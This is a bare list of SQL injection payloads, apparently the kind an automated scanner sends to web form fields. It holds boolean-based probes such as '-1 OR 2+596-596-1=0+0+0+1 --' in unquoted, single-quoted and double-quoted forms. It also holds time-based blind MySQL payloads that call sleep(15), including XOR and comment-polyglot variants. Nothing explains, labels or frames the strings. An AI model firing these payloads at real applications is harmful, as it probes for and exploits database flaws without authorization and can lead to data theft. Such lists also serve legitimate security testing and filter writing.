1

-1 OR 2+596-596-1=0+0+0+1 --

-1 OR 2+388-388-1=0+0+0+1

-1' OR 2+812-812-1=0+0+0+1 --

-1' OR 2+525-525-1=0+0+0+1 or 'mB0Z7kfi'='

-1" OR 2+799-799-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/